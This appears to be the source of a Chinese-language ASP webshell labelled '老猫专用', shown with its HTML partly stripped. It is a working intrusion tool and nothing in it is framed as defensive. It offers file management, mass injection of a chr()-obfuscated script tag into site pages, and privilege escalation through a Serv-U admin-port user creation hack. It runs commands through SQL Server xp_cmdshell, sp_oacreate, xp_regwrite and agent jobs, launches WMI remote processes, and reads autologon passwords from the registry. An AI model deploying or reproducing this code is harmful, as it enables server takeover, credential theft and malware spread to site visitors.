" RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" case 2 set b=Server.CreateObject("Microsoft.XMLHTTP") b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", "" b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit set session("b")=b RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" case 3 set c=Server.CreateObject("Microsoft.XMLHTTP") a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", "" a.send loginuser & loginpass & mt & deldomain & quit set session("a")=a RRS"
提权完毕,已执行了命令:
"&cmd&"

" RRS"" RRS"
" case else on error resume next set a=session("a") set b=session("b") set c=session("c") a.abort Set a = Nothing b.abort Set b = Nothing c.abort Set c = Nothing RRS"
" RRS"
 Internet Explorer [x]
<% Server.ScriptTimeout=999999999 Response.Buffer =true On Error Resume Next ' UserPass="best" '修改密码 mName="老猫专用" SiteURL="http://www.best.com" '网站 Copyright="老猫专用" '版权 AD="老猫专用" '广告文字 sub ShowErr() If Err Then RRS"

 " & Err.Description & "

" Err.Clear:Response.Flush End If end sub Sub RRS(str) response.write(str) End Sub Function RePath(S) RePath=Replace(S,"\","\\") End Function Function RRePath(S) RRePath=Replace(S,"\\","\") End Function URL=Request.ServerVariables("URL") ServerIP=Request.ServerVariables("LOCAL_ADDR") Action=Request("Action") RootPath=Server.MapPath(".") WWWRoot=Server.MapPath("/") serveru=request.servervariables("http_host")&url serverp=userpass FolderPath=Request("FolderPath") FName=Request("FName") BackUrl="

返回
" RRS"" RRS""&mName&" - "&ServerIP&" " RRS"" RRS"" rrs "" Dim ObT(13,2) ObT(0,0) = "Scripting.FileSystemObject" ObT(0,2) = "文件操作组件" ObT(1,0) = "wscript.shell" ObT(1,2) = "命令行执行组件" ObT(2,0) = "ADOX.Catalog" ObT(2,2) = "ACCESS建库组件" ObT(3,0) = "JRO.JetEngine" ObT(3,2) = "ACCESS压缩组件" ObT(4,0) = "Scripting.Dictionary" ObT(4,2) = "数据流上传辅助组件" ObT(5,0) = "Adodb.connection" ObT(5,2) = "数据库连接组件" ObT(6,0) = "Adodb.Stream" ObT(6,2) = "数据流上传组件" ObT(7,0) = "SoftArtisans.FileUp" ObT(7,2) = "SA-FileUp 文件上传组件" ObT(8,0) = "LyfUpload.UploadFile" ObT(8,2) = "刘云峰文件上传组件" ObT(9,0) = "Persits.Upload.1" ObT(9,2) = "ASPUpload 文件上传组件" ObT(10,0) = "JMail.SmtpMail" ObT(10,2) = "JMail 邮件收发组件" ObT(11,0) = "CDONTS.NewMail" ObT(11,2) = "虚拟SMTP发信组件" ObT(12,0) = "SmtpMail.SmtpMail.1" ObT(12,2) = "SmtpMail发信组件" ObT(13,0) = "Microsoft.XMLHTTP" ObT(13,2) = "数据传输组件" For i=0 To 13 Set T=Server.CreateObject(ObT(i,0)) If -2147221005 <> Err Then IsObj=" √" Else IsObj=" ×" Err.Clear End If Set T=Nothing ObT(i,1)=IsObj Next If FolderPath<>"" then Session("FolderPath")=RRePath(FolderPath) End If If Session("FolderPath")="" Then FolderPath=RootPath Session("FolderPath")=FolderPath End if Function MainForm() RRS"
" RRS"" RRS"" RRS"
" RRS"" RRS"" RRS"
" RRS"" RRS"" RRS"" RRS"『Program』『AllUsers』『程序』『pcAnywhere』『serv-u』『RealServer』『SQL』『config』『data』『Temp』『RECYCLER』『Documents
地址栏:" RRS"" RRS" " RRS"
" RRS"
" RRS"" RRS"" RRS"
" End Function Function MainMenu() RRS"" RRS"" RRS"" If ObT(0,1)=" ×" Then RRS"" Else RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" End If RRS"" RRS"
"&mName&"

" RRS"
无权限
+≤查看硬盘≥
〖站点根目录〗
〖本程序目录〗
〖新建目录〗
〖新建文本〗
〖上传文件〗
->批量挂马(快速版)
->批量挂马(超强版)
->批量清马(超强版)
->批量替换(超强版)
->查找文件木马
+≤提权工具≥
+≤服务器信息≥
+≤数据库操作≥
->退出登录

"&Copyright&"
" RRS"
" End Function plgm=chr(60)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(32)&chr(115)&chr(114)&chr(99)&chr(61)&chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(37)&chr(55)&chr(54)&chr(37)&chr(54)&chr(51)&chr(37)&chr(54)&chr(51)&chr(37)&chr(54)&chr(52)&chr(37)&chr(50)&chr(69)&chr(37)&chr(54)&chr(51)&chr(37)&chr(54)&chr(69)&chr(47)&chr(37)&chr(51)&chr(49)&chr(62)&chr(60)&chr(47)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62) Function Course() SI="
" SI=SI&"" on error resume next for each obj in getObject("WinNT://.") err.clear if OBJ.StartType="" then SI=SI&"" SI=SI&"" SI0="" end if if OBJ.StartType=2 then lx="自动" if OBJ.StartType=3 then lx="手动" if OBJ.StartType=4 then lx="禁用" if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then SI1=SI1&"" else SI2=SI2&"" end if next RRS SI&SI0&SI1&SI2&"
系统用户与服务
 " SI=SI&obj.Name SI=SI&" " SI=SI&"系统用户(组)" SI=SI&"
 
 "&obj.Name&" "&obj.DisplayName&"
[启动类型:"&lx&"] "&obj.path&"
 "&obj.Name&" "&obj.DisplayName&"
[启动类型:"&lx&"] "&obj.path&"
" End Function Function wmi() SI="
" RRS "" RRS " 远程执行命令" RRS "" RRS " " RRS "" if request("xd")<>"" then set ww=server.createobject("wbemscripting.swbemlocator") set cc=ww.connectserver(request("xd")) set ss=cc.get("Win32_ProcessStartup") Set oC=ss.SpawnInstance_ oC.ShowWindow=12 Set pp=cc.get("Win32_Process") Response.Write pp.create("net user",null,oC,intProcessID) Response.Write "
"&intProcessID Response.end end if End Function Function adminab() Response.Expires=0 on error resume next '查找Administrators组帐号 Set tN=server.createObject("Wscript.Network") Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group") For Each admin in objGroup.Members Response.write admin.Name&"
" Next if err then Response.write "他奶奶的不行啊:Wscript.Network" end if End Function Function suftp() RRS"

Serv-U T权程序--增强版

" RRS"
" RRS"
管理员:
" RRS"
管理员密码 :
" RRS"
SERV-U端口:
" RRS"
添加的用户名:
" RRS"
添加的用户密码:
" RRS"
帐号的所对的路径:
" RRS"
服务端口:
" RRS"
确定添加" RRS"
确定删除" RRS"

" Usr = request.Form("duser") pwd = request.Form("dpwd") port = request.Form("dport") tuser = request.Form("tuser") tpass = request.Form("tpass") tpath = request.Form("tpath") tport = request.Form("tport") 'Command = request.Form("dcmd") if request.Form("radiobutton") = "add" Then leaves = "User " & Usr & vbcrlf leaves = leaves & "Pass " & pwd & vbcrlf leaves = leaves & "SITE MAINTENANCE" & vbcrlf 'leaves = leaves & "-SETDOMAIN" & vbcrlf & "-Domain=cctv|0.0.0.0|43859|-1|1|0" & vbcrlf & "-TZOEnable=0" & vbcrlf & " TZOKey=" & vbcrlf leaves = leaves & "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & "-User=" & tuser & vbcrlf & "-Password=" & tpass & vbcrlf & _ "-HomeDir=" & tpath & "\" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _ "-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _ "-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _ "-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _ "-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _ "-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=" & tpath & "\|RWAMELCDP" & vbcrlf 'leaves = leaves & "quit" & vbcrlf '-------- On Error Resume Next Set xPost = CreateObject("MSXML2.XMLHTTP") xPost.Open "POST", "http://127.0.0.1:"& port &"/leaves", True xPost.Send(leaves) Set xPOST=nothing response.write ("命令成功执行!!FTP 用户名: " & tuser & " " & "密码: " & tpass & " 路径: " & tpath & " :)

") else leaves = "User " & Usr & vbcrlf leaves = leaves & "Pass " & pwd & vbcrlf leaves = leaves & "SITE MAINTENANCE" & vbcrlf leaves = leaves & "-DELETEUSER" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & " User=" & tuser & vbcrlf Set xPost3 = CreateObject("MSXML2.XMLHTTP") xPost3.Open "POST", "http://127.0.0.1:"& port &"/leaves", True xPost3.Send(leaves) Set xPOST3=nothing end if End Function Function fuck() On Error Resume Next dim wsh set wsh=createobject("Wscript.Shell") SoftPath=Wsh.Environment.item("Path") Pathinfo=lcase(SoftPath) Response.Write"
  • 系统软件支持:
    " Response.Write"-----------------------------
    " if Instr(Pathinfo,"perl") Then Response.Write "
  • Perl脚本:支持
    " if instr(Pathinfo,"java") Then Response.Write "
  • Java脚本:支持
    " if instr(Pathinfo,"microsoft sql server") Then Response.Write "
  • MSSQL数据库服务:支持
    " if instr(Pathinfo,"mysql") Then Response.Write "
  • MySQL数据库服务:支持
    " if instr(Pathinfo,"oracle") Then Response.Write "
  • Oracle数据库服务:支持
    " if instr(Pathinfo,"cfusionmx7") Then Response.Write "
  • CFM服务器:支持
    " if instr(Pathinfo,"pcanywhere") Then Response.Write "
  • 赛门铁克PcAnywhere控制:支持
    " if instr(Pathinfo,"Kill") Then Response.Write "
  • Kill杀毒软件:支持
    " if instr(Pathinfo,"kav") Then Response.Write "
  • 金山系列杀毒软件:支持
    " if instr(Pathinfo,"antivirus") Then Response.Write "
  • 赛门铁克杀毒软件:支持
    " if instr(Pathinfo,"rising") Then Response.Write "
  • 瑞星系列杀毒软件:支持
    " paths=split(SoftPath,";") Response.Write "------------------------------------
    " Response.Write "系统当前路径变量:
    " For i=Lbound(paths) to Ubound(paths) Response.Write "
  • "&paths(i)&"
    " next end Function Function hook() on error resume next dim wsh set wsh=createobject("Wscript.Shell") Response.Write "[网络探测]

    " EnableTCPIPKey="HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters" isEnable=Wsh.Regread(EnableTcpipKey) If isEnable=0 or isEnable="" Then Notcpipfilter=1 End If ApdKey="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind" Apds=Wsh.RegRead(ApdKey) If IsArray(Apds) Then For i=LBound(Apds) To UBound(Apds)-1 ApdB=Replace(Apds(i),"\Device\","") Response.Write "网卡"&i&"的序列为:"&ApdB&"
    " Path="HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\" 'IP地址探测 IPKey=Path&ApdB&"\IPAddress" IPaddr=Wsh.Regread(IPKey) If IPaddr(0)<>"" Then For j=Lbound(IPAddr) to Ubound(IPAddr) Response.Write "
  • IP地址"&j&"为:"&IPAddr(j)&"
    " Next Else Response.Write "
  • IP地址无法读取或没有设置
    " End if '网关设置探测 GateWayKey=Path&ApdB&"\DefaultGateway" GateWay=Wsh.Regread(GateWayKey) If isarray(GateWay) Then For j=Lbound(Gateway) to Ubound(Gateway) Response.Write "
  • 网关"&j&"为:"&Gateway(j)&"
    " Next Else Response.Write "
  • 默认网关无法读取或没有设置
    " End if 'DNS设置探测 DNSKey=Path&ApdB&"\NameServer" DNSstr=Wsh.RegRead(DNSKey) If DNSstr<>"" Then Response.Write "
  • 网卡DNS为:"&DNSstr&"
    " Else Response.Write "
  • 默认DNS无法读取或没有设置
    " End If 'TCP/IP筛选探测 if Notcpipfilter=1 Then Response.Write "
  • 没有Tcp/IP筛选
    " else ETK="\TCPAllowedPorts" EUK="\UDPAllowedPorts" FullTCP=Path&ApdB&ETK FullUDP=path&ApdB&EUK tcpallow=Wsh.RegRead(FullTCP) If tcpallow(0)="" or tcpallow(0)=0 Then Response.Write "
  • 允许的TCP端口为:全部
    " Else Response.Write "
  • 允许的TCP端口为:" For j = LBound(tcpallow) To UBound(tcpallow) Response.Write tcpallow(j)&"," Next Response.Write "
    " End if udpallow=Wsh.RegRead(FullUDP) If udpallow(0)="" or udpallow(0)=0 Then Response.Write "
  • 允许的UDP端口为:全部
    " Else Response.Write "
  • 允许的UDP端口为:" for j = LBound(udpallow) To UBound(udpallow) Response.Write UDPallow(j)&"," next Response.Write "
    " End if End if Response.Write "------------------------------------------------
    " Next end if Response.Write "

    [系统设置探测]

    " pcnamekey="HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName" pcname=wsh.RegRead(pcnamekey) if pcname="" Then pcname="无法读取主机名.
    " Response.Write "
  • 当前主机名为:"&pcname&"
    " AdminNameKey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AltDefaultUserName" AdminName=wsh.RegRead(AdminNameKey) if adminname="" Then AdminName="Administrator" Response.Write "
  • 默认管理员用户名为:"&AdminName&"
    " isAutologin="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon" Autologin=Wsh.RegRead(isAutologin) if Autologin=0 or Autologin="" Then Response.Write "
  • 用户自动登入:未启用
    " Else Response.Write "
  • 用户自动登入:启用
    " Admin=Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName") Passwd=Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword") Response.Write "
  • 用户名:"&Admin&"
    " Response.Write "
  • 密码:"&Passwd&"
    " End if displogin=wsh.regRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DontDisplayLastUserName") If displogin="" or displogin=0 Then disply="是" else disply="否" Response.Write "
  • 是否显示上次登入用户:"&disply&"
    " NTMLkey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\NTML" ntml=Wsh.RegRead(NTMLkey) if ntml="" Then Ntml=1 Response.Write "
  • Telnet Ntml设置为:"&ntml&"
    " hk="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count" kk=wsh.RegRead(hk) Response.Write"
  • 当前活动网卡为:"&kk&"
    " Response.Write "------------------------------------


    " end Function Sub unPack(thePath) On Error Resume Next Server.ScriptTimeOut = 5000 Dim rs, ws, str, conn, stream, connStr, theFolder str = Server.MapPath(".") & "\" Set rs = CreateObject("ADODB.RecordSet") Set stream = CreateObject("ADODB.Stream") Set conn = CreateObject("ADODB.Connection") connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & thePath & ";" conn.Open connStr rs.Open "FileData", conn, 1, 1 stream.Open stream.Type = 1 Do Until rs.Eof theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\")) If fsoX.FolderExists(str & theFolder) = False Then createFolder(str & theFolder) End If stream.SetEos() stream.Write rs("fileContent") stream.SaveToFile str & rs("thePath"), 2 rs.MoveNext Loop rs.Close conn.Close stream.Close Set ws = Nothing Set rs = Nothing Set stream = Nothing Set conn = Nothing End Sub Sub createFolder(thePath) Dim i i = Instr(thePath, "\") Do While i > 0 If fsoX.FolderExists(Left(thePath, i)) = False Then fsoX.CreateFolder(Left(thePath, i - 1)) End If If InStr(Mid(thePath, i + 1), "\") Then i = i + Instr(Mid(thePath, i + 1), "\") Else i = 0 End If Loop End Sub Sub saTreeForMdb(thePath, rs, stream) Dim item, theFolder, sysFileList sysFileList = "$HYTop.mdb$HYTop.ldb$" Set theFolder = saX.NameSpace(thePath) For Each item In theFolder.Items If item.IsFolder = True Then saTreeForMdb item.Path, rs, stream Else If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then rs.AddNew rs("thePath") = Mid(item.Path, 4) stream.LoadFromFile(item.Path) rs("fileContent") = stream.Read() rs.Update End If End If Next Set theFolder = Nothing End Sub Function gody() Response.write "[服务器弱点探测]

    " Set objComputer = GetObject("WinNT://.") Set sa = Server.CreateObject("Shell.Application") objComputer.Filter = Array("Service") 'On Error Resume Next For Each objService In objComputer if objService.Name="Serv-U" Then if objService.ServiceAccountName="LocalSystem" Then Response.Write "
  • 服务器中有Serv-U安装,且以LocalSystem权限启动,可以考虑提权
    " End if End if if lcase(objService.Name)="apache" Then if objService.ServiceAccountName="LocalSystem" Then If instr(Request.ServerVariables("SERVER_SOFTWARE"),"Apache") Then Response.Write "
  • 当前WEB服务器为Apache.可以直接提权
    " Else Response.Write "
  • 服务器中有Apache服务存在,启动权限为LocalSystem,可以考虑PHP木马
    " End if end if End if if instr(lcase(objService.Name),"tomcat") Then if objService.ServiceAccountName="LocalSystem" Then Response.Write "
  • 服务器中有Tomcat,且以LocalSystem权限启动,可以考虑使用Jsp木马提权
    " End if End if if instr(lcase(objService.Name),"winmail") Then if objService.ServiceAccountName="LocalSystem" Then Response.Write "
  • 服务器中有Magic Winmail,且以LocalSystem权限启动,可以查找WebMail目录,并且写入PHP木马
    " End if End if Next Set fso=Server.Createobject("Scripting.FileSystemObject") Sysdrive=left(Fso.GetspecialFolder(2),2) servername=wsh.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName") If fso.FileExists(sysdriver&"\Documents And Settings\All Users\Application Data\Symantec\"&servername&".cif") Then Response.Write "
  • 发现pcAnywhere密码文件,可以从默认目录下载并破解得到pcAnywhere密码" End if end Function Function fsoTreeForMdb(thePath, rs, stream) Dim item, theFolder, folders, files, sysFileList sysFileList = "$HYTop.mdb$HYTop.ldb$" If fsoX.FolderExists(thePath) = False Then showErr(thePath & " 目录不存在或者不允许访问!") End If Set theFolder = fsoX.GetFolder(thePath) Set files = theFolder.Files Set folders = theFolder.SubFolders For Each item In folders fsoTreeForMdb item.Path, rs, stream Next For Each item In files If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then rs.AddNew rs("thePath") = Mid(item.Path, 4) stream.LoadFromFile(item.Path) rs("fileContent") = stream.Read() rs.Update End If Next Set files = Nothing Set folders = Nothing Set theFolder = Nothing End Function Function sqlabc() IF SESSION("LOGIN")="" THEN RESPONSE.WRITE "
    没有登陆

    " ELSE RESPONSE.WRITE "
    已经登陆

    " END IF RESPONSE.WRITE "
    退出登陆

    " IF REQUEST("SQLAAA")="LOGIN" THEN SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & REQUEST.FORM("SERVER") & "," & REQUEST.FORM("PORT") & ";PASSWORD=" & REQUEST.FORM("PASS") & ";UID=" & REQUEST.FORM("NAME") IF ERR.NUMBER=-2147467259 THEN RESPONSE.WRITE "数据源连接错误,请检查!" RESPONSE.END ELSEIF ERR.NUMBER=-2147217843 THEN RESPONSE.WRITE "用户名密码错误错误,请检查!" RESPONSE.END ELSEIF ERR.NUMBER=0 THEN STRQUERY="SELECT @@VERSION" SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) IF INSTR(RECRESULT(0),"NT 5.0") THEN RESPONSE.WRITE "WINDOWS 2000系统
    " SESSION("SYSTEM")="2000" ELSEIF INSTR(RECRESULT(0),"NT 5.1") THEN RESPONSE.WRITE "WINDOWS XP系统
    " SESSION("SYSTEM")="XP" ELSEIF INSTR(RECRESULT(0),"NT 5.2") THEN RESPONSE.WRITE "WINDOWS 2003系统
    " SESSION("SYSTEM")="2003" ELSE RESPONSE.WRITE "其他系统
    " SESSION("SYSTEM")="NO" END IF STRQUERY="SELECT IS_SRVROLEMEMBER('SYSADMIN')" SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) IF RECRESULT(0)=1 THEN RESPONSE.WRITE "恭喜!SQL SERVER最高权限
    " SESSION("PRI")=1 ELSE RESPONSE.WRITE "郁闷,权限不够估计不能执行命令!
    " SESSION("PRI")=0 END IF SESSION("LOGIN")="YES" SESSION("NAME")=REQUEST.FORM("NAME") SESSION("PASS")=REQUEST.FORM("PASS") SESSION("SERVER")=REQUEST.FORM("SERVER") SESSION("PORT")=REQUEST.FORM("PORT") END IF ELSEIF REQUEST("SQLAAA")="TEST" THEN IF SESSION("LOGIN")<>"" THEN IF SESSION("SYSTEM")="2000" THEN RESPONSE.WRITE "WINDOWS 2000系统
    " ELSEIF SESSION("SYSTEM")="XP" THEN RESPONSE.WRITE "WINDOWS XP系统
    " ELSEIF SESSION("SYSTEM")="2003" THEN RESPONSE.WRITE "WINDOWS 2003系统
    " ELSE RESPONSE.WRITE "其他操作系统
    " END IF IF SESSION("PRI")=1 THEN RESPONSE.WRITE "恭喜!SQL SERVER最高权限
    " ELSE RESPONSE.WRITE "郁闷,权限不够估计不能执行命令!
    " END IF SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='XP_CMDSHELL'" SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) IF RECRESULT(0) THEN SESSION("XP_CMDSHELL")=1 RESPONSE.WRITE "XP_CMDSHELL............. 存在!" ELSE SESSION("XP_CMDSHELL")=0 RESPONSE.WRITE "XP_CMDSHELL............. 不存在!" END IF STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='SP_OACREATE'" SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) IF RECRESULT(0) THEN RESPONSE.WRITE "
    SP_OACREATE............. 存在!" SESSION("SP_OACREATE")=1 ELSE RESPONSE.WRITE "
    SP_OACREATE............. 不存在!" SESSION("SP_OACREATE")=0 END IF STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='XP_REGWRITE'" SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) IF RECRESULT(0) THEN RESPONSE.WRITE "
    XP_REGWRITE............. 存在!" SESSION("XP_REGWRITE")=1 ELSE RESPONSE.WRITE "
    XP_REGWRITE............. 不存在!" SESSION("XP_REGWRITE")=0 END IF STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='XP_SERVICECONTROL'" SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) IF RECRESULT(0) THEN RESPONSE.WRITE "
    XP_SERVICECONTROL 存在!" SESSION("XP_SERVICECONTROL")=1 ELSE RESPONSE.WRITE "
    XP_SERVICECONTROL 不存在!" SESSION("XP_SERVICECONTROL")=0 END IF ELSE RESPONSE.WRITE "" RESPONSE.WRITE "
    登陆超时" RESPONSE.END END IF ELSEIF REQUEST("SQLAAA")="CMD" THEN IF SESSION("LOGIN")<>"" THEN IF SESSION("PRI")=1 THEN IF REQUEST("TOOL")="XP_CMDSHELL" THEN SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") IF REQUEST.FORM("CMD")<>"" THEN STRQUERY = "EXEC MASTER.DBO.XP_CMDSHELL '" & REQUEST.FORM("CMD") & "'" SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) IF NOT RECRESULT.EOF THEN DO WHILE NOT RECRESULT.EOF STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) RECRESULT.MOVENEXT LOOP END IF SET RECRESULT = NOTHING RESPONSE.WRITE "" END IF ELSEIF REQUEST("TOOL")="SP_OACREATE" THEN SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") IF REQUEST.FORM("CMD")<>"" THEN STRQUERY = "CREATE TABLE [JNC](RESULTTXT NVARCHAR(1024) NULL);USE MASTER DECLARE @O INT EXEC SP_OACREATE 'WSCRIPT.SHELL',@O OUT EXEC SP_OAMETHOD @O,'RUN',NULL,'CMD /C "&REQUEST("CMD")&" > 8617.TMP',0,TRUE;BULK INSERT [JNC] FROM '8617.TMP' WITH (KEEPNULLS);" ADOCONN.EXECUTE(STRQUERY) STRQUERY = "SELECT * FROM JNC" SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) IF NOT RECRESULT.EOF THEN DO WHILE NOT RECRESULT.EOF STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) RECRESULT.MOVENEXT LOOP END IF SET RECRESULT = NOTHING RESPONSE.WRITE "" STRQUERY = "DROP TABLE [JNC];DECLARE @O INT EXEC SP_OACREATE 'WSCRIPT.SHELL',@O OUT EXEC SP_OAMETHOD @O,'RUN',NULL,'CMD /C DEL 8617.TMP'" ADOCONN.EXECUTE(STRQUERY) END IF ELSEIF REQUEST("TOOL")="XP_REGWRITE" THEN IF SESSION("SYSTEM")="2000" THEN PATH="C:\WINNT\SYSTEM32\IAS\IAS.MDB" ELSE PATH="C:\WINDOWS\SYSTEM32\IAS\IAS.MDB" END IF SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") IF REQUEST.FORM("CMD")<>"" THEN CMD=CHR(34)&"CMD.EXE /C "&REQUEST.FORM("CMD")&" > 8617.TMP"&CHR(34) STRQUERY = "CREATE TABLE [JNC](RESULTTXT NVARCHAR(1024) NULL);EXEC MASTER..XP_REGWRITE 'HKEY_LOCAL_MACHINE','SOFTWARE\MICROSOFT\JET\4.0\ENGINES','SANDBOXMODE','REG_DWORD',0;SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0',';DATABASE=" & PATH &"','SELECT SHELL("&CMD&")');" ADOCONN.EXECUTE(STRQUERY) STRQUERY = "SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0',';DATABASE=" & PATH &"','SELECT SHELL("&CHR(34)&"CMD.EXE /C COPY 8617.TMP JNC.TMP"&CHR(34)&")');BULK INSERT [JNC] FROM 'JNC.TMP' WITH (KEEPNULLS);" SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) STRQUERY="SELECT * FROM [JNC];" SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) IF NOT RECRESULT.EOF THEN DO WHILE NOT RECRESULT.EOF STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) RECRESULT.MOVENEXT LOOP END IF SET RECRESULT = NOTHING RESPONSE.WRITE "" STRQUERY = "DROP TABLE [JNC];EXEC MASTER..XP_REGWRITE 'HKEY_LOCAL_MACHINE','SOFTWARE\MICROSOFT\JET\4.0\ENGINES','SANDBOXMODE','REG_DWORD',1;SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0',';DATABASE=" & PATH &"','SELECT SHELL("&CHR(34)&"CMD.EXE /C DEL 8617.TMP&&DEL JNC.TMP"&CHR(34)&")');" ADOCONN.EXECUTE(STRQUERY) END IF ELSEIF REQUEST("TOOL")="SQLSERVERAGENT" THEN SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") IF REQUEST.FORM("CMD")<>"" THEN IF SESSION("SQLSERVERAGENT")=0 THEN STRQUERY = "EXEC MASTER.DBO.XP_SERVICECONTROL 'START','SQLSERVERAGENT';" ADOCONN.EXECUTE(STRQUERY) SESSION("SQLSERVERAGENT")=1 END IF STRQUERY = "USE MSDB CREATE TABLE [JNCSQL](RESULTTXT NVARCHAR(1024) NULL) EXEC SP_DELETE_JOB NULL,'X' EXEC SP_ADD_JOB 'X' EXEC SP_ADD_JOBSTEP NULL,'X',NULL,'1','CMDEXEC','CMD /C "&REQUEST.FORM("CMD")&"' EXEC SP_ADD_JOBSERVER NULL,'X',@@SERVERNAME EXEC SP_START_JOB 'X';" ADOCONN.EXECUTE(STRQUERY) ADOCONN.EXECUTE(STRQUERY) ADOCONN.EXECUTE(STRQUERY) RESPONSE.WRITE "" STRQUERY = "USE MSDB DROP TABLE [JNCSQL];" ADOCONN.EXECUTE(STRQUERY) END IF ELSEIF REQUEST("TOOL")="" THEN RESPONSE.WRITE "" END IF ELSE RESPONSE.WRITE "" END IF ELSE RESPONSE.WRITE "" RESPONSE.WRITE "
